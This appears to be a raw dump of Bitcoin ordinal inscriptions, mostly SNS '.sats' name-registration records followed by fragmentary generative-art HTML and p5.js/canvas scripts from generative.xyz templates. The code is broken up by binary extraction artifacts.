text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"durak.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4170.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4296.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"YSL.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"land.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5809.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4128.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4268.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"zsk.sats"}h!
text/plain;charset=utf-8
1{"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"rrf.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4256.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"12456.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4182.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4152.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5692.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11233.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5960.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4306.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"12888.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"kids.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0098.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5860.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"19888.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4290.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4132.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4136.sats"}h!
text/plain;charset=utf-8
'{"p":"sns","op":"reg","name":"hi.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10096.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5632.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4302.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4130.sats"}h!
text/plain;charset=utf-8
.{"p":"sns","op":"reg","name":"multicoin.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4186.sats"}h!
text/plain;charset=utf-8
1{"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5967.sats"}h!
text/plain;charset=utf-8
1{"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10792.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4162.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4270.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4276.sats"}h!
text/plain;charset=utf-8
1{"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"lighting.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5962.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5812.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5970.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4160.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11178.sats"}h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"goodbye.sats"}h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"gitcoin.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5928.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"7k7k.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5618.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4236.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5672.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"yygq.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5830.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10820.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5987.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4108.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10064.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"X00.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"2017.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"12315.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"0001..sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5968.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"hermes.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"wss.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4298.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5630.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10911.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11146.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"openai.sats"}h!
text/plain;charset=utf-8
1{"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"12908.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10058.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"Xverse.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4150.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5602.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"12119.sats"}h!
text/plain;charset=utf-8
6{"p":"sns","op":"reg","name":"BoredApeYachtClub.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4206.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5798.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"20001.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"13007.sats"}h!
text/plain;charset=utf-8
1{"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10059.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"15666.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5902.sats"}h!
text/plain;charset=utf-8
1{"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11291.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4178.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"9750.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"9756.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"9752.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"9751.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"9781.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"9784.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"9785.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"9754.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"9786.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"9758.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"9783.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"9782.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"9780.sats"}h!
DjB=:DOGE.DOGE:DCuec92xNMd5jXRmftCvfu4MjPUow7A2Eo:52005025557952:t:30>
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"9826.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"9856.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"9836.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"9806.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"9801.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"9810.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"9803.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"9805.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"9804.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"9806.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"9807.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"9802.sats"}h!
text/plain;charset=utf-8
.{"p":"sns","op":"reg","name":"multicoin.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5ire.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"biconomy.sats"}h!
text/plain;charset=utf-8
  "name": "a00.sats"
text/plain;charset=utf-8
text/html;charset=utf-8
<meta charset="UTF-8">
<title>Angular Decay</title>
<script id="snippet-random-code" type="text/javascript">
let seed = window.location.href.split('/').find(t => t.includes('i0'));
const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz";
seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0";
let pattern = "seed=";
for (let i = 0; i <M
 seed.length - pattern.length; ++i) {
if (seed.substring(i, i + pattern.length) == pattern) {
seed = seed.substring(i + pattern.length);
function cyrb128($) {
let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(lM
 ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
function sfc32($, _, u, i) {
return function () {
var l = ($ >>>= 0) + (_ >>>= 0) | 0;
return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
let mathRand = sfc32(...cyrb128(seed));
<style>body {margin: 0px;} </style>M
<canvas id="target"></canvas>
<script type="text/javascript">
const rand = mathRand();
const rand2 = mathRand();
let sqpix,cp,ratio=0.707,bug=false;
if(rand<0.3){sqpix=0;zoom=false;return"Portrait";}
if(rand<0.6){sqpix=0;ratio=1.414;return"Lanscape";}
if(rand<0.95){sqpix=1;return"Square";}
sqpix=1;bug=1;return"Bugged";}
if(rand<0.07){cp=12;return "Paper";}
if(rand<0.14){cp=1;return "DPM";}
if(rand<0.21){cp=2;return "Fecktarn";}
if(rand<0.41){cp=4;return "Desert Drill";}
if(rand<0.5){cp=5;return "Urban";}
if(rand<0.6){cp=6;return "Navy";}
if(rand<0.7){cp=7;return "German Winter";}
if(rand<0.8){cp=8;return "Tree";}
if(rand<0.85){cp=9;return "Orange";}
if(rand<0.9){cp=10;return "Harris";}
if(rand<0.95){cp=11;return "Market";}
cp=0;return "Saint";}
window.$generativeTraits = {"View": T1(rand),"Pallet": T2(rand2) }
const container = document.createElement("div")
container.innerHTML = "<span>seed: " + seed + "</spM
let resizeTmr=null,aniFrame=null;
let ofw,ofh,sz,rz=1;
let gi=0,gj=0,drp=0,drawtot=2,bmp,artcols=[];
var tricount=0,tr=30;
var tx1=[],ty1=[],tx2=[],ty2=[],tx3=[],ty3=[];
var rx1=[],ry1=[],rx2=[],ry2=[],rx3=[],ry3=[];
const init = async () => {
window.addEventListener('resize', async () => {
clearTimeout(resizeTmr)
resizeTmr = setTimeout(async () => {
await layoutCanvas()
await layoutCanvas()
const layoutCanvas = async () => {
const wWidth=window.innerWidth
const wHeight=window.innerHeight
let cHeight=wHeight;
let cWidth=cHeight*ratio;
if(cWidth>wWidth){cWidth=wWidth;cHeight=cWidth/ratio;}
const canvas=document.getElementById('target')
canvas.width=2000*rz;
canvas.height=(2000*rz)/ratio;
canvas.style.position = 'absolute'
canvas.style.width = `${cWidth}px`
canvas.style.height = `${cHeight}px`
canvas.style.left = `${(wWidth - cWidth) / 2}px`
canvas.style.top = `${(wHeight - cHeight) / 2}pM
const drawCanvas = async () => {
if(!tried) setupart();
if (aniFrame) window.cancelAnimationFrame(aniFrame)
const canvas=document.getElementById('target')
const ctx=canvas.getContext('2d')
{let bx=ofw/500,by=ofh/500;
ctx.globalAlpha=0.05;
for(let f=10;f<30; f++){
for(let i=0;i<500; i++){
drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'#ffffff');
drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'M
if(gj>500) { drp=3; gj=0; }
for(let f=0;f<tc;f++){
if(bug) dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz*sz,ty2[f]*sz, artcols[1], 1*sz);
else dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz,ty2[f]*sz, artcols[1], 1*sz);
dl(ctx, tx2[f]*sz,ty2[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz);
dl(ctx, tx1[f]*sz,ty1[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz);}
for(let f=0;f<rc;f++){
dl(ctx, rx1[f]*sz,ry1[f]*sz, rx2[f]*sz,ry2[f]*sz, artcols[2], 1*sz);
,ry2[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz);
dl(ctx, rx1[f]*sz,ry1[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz);}
ctx.fillStyle = artcols[0];
ctx.fillRect(0,0,ofw,ofh);
mathRand = sfc32(...cyrb128(seed));
tc=0;rc=0;tricount=0;tr=30;bmp=0;
triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr));
tricount=1000;tr=rir(10,50);dor=true;bmp=0;
triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr));
aniFrame = window.requestAnimationM
function triharder( x1,y1, x2,y2)
if(tricount>2500) return;
var x3=x1+rir(-tr,tr);
var y3=y1+rir(-tr,tr);
if(x3<0){x3+=tr;bmp++}
if(x3>1000){x3-=tr;bmp++}
if(y3<0){y3+=tr;bmp++}
if(y3>1000/ratio){y3-=tr;bmp++}
if(dor) {rx1[rc]=x1;ry1[rc]=y1;rx2[rc]=x2;ry2[rc]=y2;rx3[rc]=x3;ry3[rc]=y3;rc++; }
else {tx1[tc]=x1;ty1[tc]=y1;tx2[tc]=x2;ty2[tc]=y2;tx3[tc]=x3;ty3[tc]=y3;tc++;}
if(bmp>15){bmp=0; x3=y3=500;x1=rir(500,500+tr);y1=rir(500,500+tr);x2=rir(500,500-tr);y2=rir(500,500-M
triharder(x3,y3, x1,y1);
if(ri(100)>20) triharder(x3,y3, x2,y2);
const autoDownloadCanvas = async () => {
const element = document.createElement('a')
element.setAttribute('download',`Angular-${ofw}x${ofh}-${seed}`)
element.style.display = 'none'
document.body.appendChild(element)
let imageBlob = null
imageBlob = await new Promise(resolve => document.getElementById('target').toBlob(resolve, 'image/png'))
element.setAttribute('href', window.URL.createObjectURL(imageBlob, {
document.body.removeChild(element)
document.addEventListener('keypress', async (e) => {
e = e || window.event
if (e.key === 's') autoDownloadCanvas()
if (e.key === 'h') { rz++;if(rz>5)rz=1;drp=0;gi=0;gj=0;await layoutCanvas() }
function drawEllipse(ctx,x,y,rx,ry,fill) {
ctx.ellipse(x, y, rx, ry, 0, 0, 2 * Math.PI);
if (fill) {ctx.fillStyle = fill;ctx.fill();}
function dl(ctx,lx,ly,ex,ey,stroke,width) {
if (stroke) {ctx.strokeStyle = stroke;}
if (width) {  ctx.linM
ctx.beginPath();ctx.moveTo(lx,ly);ctx.lineTo(ex,ey);ctx.stroke();
if(cp==12)artcols=['#EDECE0','#303030','#880808'];
if(cp==0) artcols=['#F0BEB2','#F25B40','#3A8D3B'];
if(cp==11)artcols=['#4F97BA','#F9E1B5','#BD2C41'];
if(cp==1) artcols=['#25201E','#D3A252','#686C22'];
if(cp==2) artcols=['#B4CBCA','#1F5FB3','#355026'];
if(cp==3) artcols=['#D1C7C5','#6E5247','#8D695D'];
if(cp==4) artcols= ['#E4DBBE','#8BB8B3','#AF799A'];
if(cp==5) artcols= ['#B8B8B3','#474747','M
if(cp==6) artcols= ['#A6B2C7','#323642','#394A69'];
if(cp==7) artcols= ['#E6E6E4','#343523','#B2B2AD'];
if(cp==8) artcols= ['#A9A18E','#706B5C','#606A4D'];
if(cp==9) artcols= ['#EDECE0','#944645','#F25D34'];
if(cp==10) artcols= ['#9FA6A4','#77694E','#B54933'];
function ri( x){  return Math.floor(mathRand()*x);}
function rir(x,y){ let nr = (y - x) ; return  Math.floor((mathRand()*nr) + x); }
text/html;charset=utf-8
    <meta charset="UTF-8">
    Generative supports the most popular creative coding libraries. Simply uncomment the library you want to use below.
    Are we missing an important library? Let us know @generative_xyz.
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script>
    <!-- c2.min.js@1.0.0
    <script sandbox="allow-scripts" type="text/javascript" srcM
="https://cdn.generative.xyz/ajax/libs/c2/1.0.0/c2.min.js"></script>
    <!-- chromajs@2.4.2
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/chroma-js/2.4.2/chroma.min.js"></script>
    <!-- p5.grain.js@0.6.1
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/p5.grain/0.6.1/p5.grain.min.js"></script>
    <!-- threejs@r124
    <script sandbox="allow-scripts" type="text/javascript" src="M
https://cdnjs.cloudflare.com/ajax/libs/three.js/r124/three.min.js"></script>
    <!-- tonejs@14.8.49
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/tone/14.8.49/Tone.js"></script>
    <!-- svgjs@3.1.2
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/svg.js/3.1.2/svg.min.js"></script>
    <!-- aframejs@1.2.0
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdM
njs.cloudflare.com/ajax/libs/aframe/1.2.0/aframe.min.js"></script>
    <!-- babylonjs@5.47.0
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/babylonjs/5.47.0/babylon.js"></script>
    <!-- paperjs@0.12.17
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/paper.js/0.12.17/paper-full.min.js"></script>
    <!-- regljs@2.1.0
    <script sandbox="allow-scripts" type="text/javascript" srcM
="https://cdnjs.cloudflare.com/ajax/libs/regl/2.1.0/regl.min.js"></script>
    <script type="text/javascript">
 Add your script here
 Add your script here
    <script id="snippet-random-code" type="text/javascript">
        // DO NOT EDIT THIS SECTION
        let seed = window.location.href.M
split('/').find(t => t.includes('i0'));
        if (seed == null) {
            const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz";
            seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0";
            let pattern = "seed=";
            for (let i = 0; i < seed.length - pattern.length; ++i) {
                if (seed.substring(i, i + pattern.length) == pattern) {
  seed = seed.substring(i + pattern.length);
                    break;
        function cyrb128($) {
            let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
            for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
            return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l M
^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
        function sfc32($, _, u, i) {
            return function () {
                u >>>= 0, i >>>= 0;
                var l = ($ >>>= 0) + (_ >>>= 0) | 0;
                return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
        // IMPORTANT: Instead of Math.random(), use this function mathRand() for random number generation.
        // This function generates a random number between 0 and 1 with on-chain seed.
        let mathRand = sfc32(...cyrb128(seed));
  justify-content: center;
  align-items: center;
<script type="text/javascript">
    const rand = mathRand();
    function T1(rand) {
        // calculate rarity by yourself
        if (rand > 0.5) {
            return true;
            return false
    // window.$generativeTraits contain list traits for tokenM
    // you need to populate a $generativeTraits object in the window object
 Add your code here
 var col = rnd(0,210)
   if(bac>40&bac<60){
    if(bac>60&bac<80){
  createCanvas(1200, 1200,WEBGL);
  angleMode(DEGREES)
  w=rnd(-width/2+300,width/2-400)
  h=rnd(-height/2+600,height/2)
  w=rnd(-width/2+500,width/2-100)
  h=rnd(-height/2+500,height/2-200)
  w=rnd(-width/2+350,width/2-100)
  h=rnd(-height/2+5M
  w=rnd(-width/2+200,width/2-400)
  h=rnd(-height/2+500,height/2-200)
  if(rnd(0,120)<50){
   var l = rnd(0,g2)
       fill("#FFD32D")
        fill("#FF8B13")
          if(l>20&l<30){
         fill("#DA1212")
       if(l>30&l<40){
            fill("#733C3C")
       if(l>40&l<50){
     fill("#10A19D")
       if(l>50&l<60){
       fill("#001E6C")
       if(l>60&l<70){
       fill("#367E18")
       if(l>70&l<80){
       fill("#990000")
   if(col>20&col<40){
   var l = rnd(0,g2)
       fill("#FFD32M
       if(l>10&l<20){
        fill("#D61355")
          if(l>20&l<30){
         fill("#DA1212")
       if(l>30&l<40){
            fill("#30E3DF")
       if(l>40&l<50){
     fill("#10A19D")
       if(l>50&l<60){
       fill("#F2CD5C")
       if(l>60&l<70){
       fill("#CD0404")
       if(l>70&l<80){
       fill("#990000")
    if(col>40&col<60){
   var l = rnd(0,g2)
       fill("#FFD32D")
       if(l>10&l<20){
        fill("#939B62")
          if(l>20&l<30){
         fill("#FFD56F")
       if(l>30&l<40){
            fill("#FFB26B")
       if(l>40&l<50){
     fill("#FF7B54")
       if(l>50&l<60){
       fill("#F2CD5C")
       if(l>60&l<70){
       fill("#CD0404")
       if(l>70&l<80){
       fill("#990000")
   var l = rnd(0,g2)
       fill("#6C00FF")
       if(l>10&l<20){
        fill("#3C79F5")
          if(l>20&l<30){
         fill("#2DCDDF")
       if(l>30&l<40){
            fill("#579BB1")
       if(l>40&l<50){
     fill("#2C74B3")
       if(l>50&l<60){
       fill("#EAFDFC")
       if(l>60&l<70){
       fill("#BAD7E9")
       if(l>70&l<80){
       fill("#990000")
  if(col>80&col<100){
   var l = rnd(0,g2)
       fill("#A75D5D")
       if(l>10&l<20){
        fill("#D3756B")
          if(l>20&l<30){
         fill("#F0997D")
       if(l>30&l<40){
            fill("#FFC3A1")
       if(l>40&l<50){
     fill("#FF7B54")
       if(l>50&l<60){
       fill("#FFB26B")
       if(l>60&l<70){
       fill("#FFD56F")
       if(l>70&l<80){
       fill("#990000")
     if(col>100&col<120){
   var l = rnd(0,g2)
       fill("#39B5E0")
       if(l>10&l<20){
        fill("#A31ACB")
          if(l>20&l<30){
         fill("#FF78F0")
       if(l>30&l<40){
            fill("#F5EA5A")
       if(l>40&l<50){
     fill("#FFB100")
       if(l>50&l<60){
       fill("#FBC252")
       if(l>60&l<70){
       fill("#FFD56F")
       fill("#2DCDDF")
   if(col>120&col<140){
   var l = rnd(0,g2)
       fill("#FFDB89")
       if(l>10&l<20){
        fill("#DC0000")
          if(l>20&l<30){
         fill("#CB1C8D")
       if(l>30&l<40){
            fill("#FB2576")
       if(l>40&l<50){
     fill("#FFB100")
       if(l>50&l<60){
       fill("#FFBF00")
       if(l>60&l<70){
       if(l>70&l<80){
       fill("#2DCDDF")
  if(col>140&col<160){
   var l = rnd(0,g2)
       fill("#344D67")
       if(l>10&l<20){
        fill("#6ECCAF")
          if(l>20&l<30){
         fill("#ADE792")
       if(l>30&l<40){
            fill("#68B984")
       if(l>40&l<50){
     fill("#00FFF6")
       if(l>50&l<60){
       fill("#0014FF")
       if(l>60&l<70){
       fill("#10A19D")
       if(l>70&l<80){
       fill("#2DCDDF")
    if(col>160&col<180){
   var l = rnd(0,g2)
       fill("#562B08")
       if(l>10&l<20){
        fill("#F96666")
          if(l>20&l<30){
         fill("#9E7676")
       if(l>30&l<40){
            fill("#FFF8EA")
       if(l>40&l<50){
     fill("#815B5B")
       fill("#CC3636")
       if(l>60&l<70){
       fill("#9E7676")
       if(l>70&l<80){
       fill("#E3C770")
    if(col>180&col<210){
   var l = rnd(0,g2)
       fill("#FFE9A0")
       if(l>10&l<20){
        fill("#367E18")
          if(l>20&l<30){
         fill("#F57328")
       if(l>30&l<40){
            fill("#CC3636")
     fill("#00FFD1")
       if(l>50&l<60){
       fill("#31C6D4")
       if(l>60&l<70){
       fill("#FFFF00")
       if(l>70&l<80){
       fill("#FF1E1E")
 var r = floor(rnd(0,4))
  for(i= 0 ; i<400;i++){
  rotateX(frameCount)
  rotateY(frameCount)
  if(frameCount>rnd(170,195)){
 var r = floor(rnd(0,4))
  for(i= 0 ; i<800;i++){
  rotateX(frameCount)
  rotate(frameCount)
  if(frameCount>rnd(410,500)){
 var r = floor(rnd(0,4))
  for(i= 0 ; i<1000;i++){
  translate(-frameCount/2,-M
  rotate(frameCount)
  translate(frameCount/2,frameCount/2)
  rotateY(frameCount)
  if(frameCount>rnd(800,900)){
 var r = floor(rnd(0,4))
  for(i= 0 ; i<300;i++){
  rotateY(frameCount)
  rotate(frameCount)
function rnd(min,max){
  return mathRand()*(max-min) + min;
 Add your code here
text/html;charset=utf-8
    <meta charset="UTF-8">
    <title>A simple template for launching your art on Bitcoin</title>
    Generative supports the most popular creative coding libraries. Simply uncomment the library you want to use below.
    Are we missing an important library? Let us know @generative_xyz.
    <!-- p5js@1.5.0 -->
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script>
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/c2/1.0.0/c2.min.js"></script>
    <!-- chromajs@2.4.2 -->
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/chroma-js/2.4.2/chroma.min.js"></script>
    <!-- p5.grain.js@0.6.1
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/p5.grain/0.6.1/p5.grain.min.js"></script>
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r124/three.min.js"></script>
    <!-- tonejs@14.8.49
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/tone/14.8.49/Tone.js"></script>
    <script type="text/javascript">
 Add your script here
 Add your script here
    <script id="snippet-random-code" type="text/javascript">
        // DO NOT EDIT THIS SECTION
        let seed = window.location.href.split('/').find(t => t.includes('i0'));
        if (seed == null) {
            const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz";
            seed = new URLSearchParams(window.location.search).get("M
seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0";
            let pattern = "seed=";
            for (let i = 0; i < seed.length - pattern.length; ++i) {
                if (seed.substring(i, i + pattern.length) == pattern) {
                    seed = seed.substring(i + pattern.length);
                    break;
        function cyrb128($) {
            let _ = 1779033703, u = 3144134277, i = 101390424M
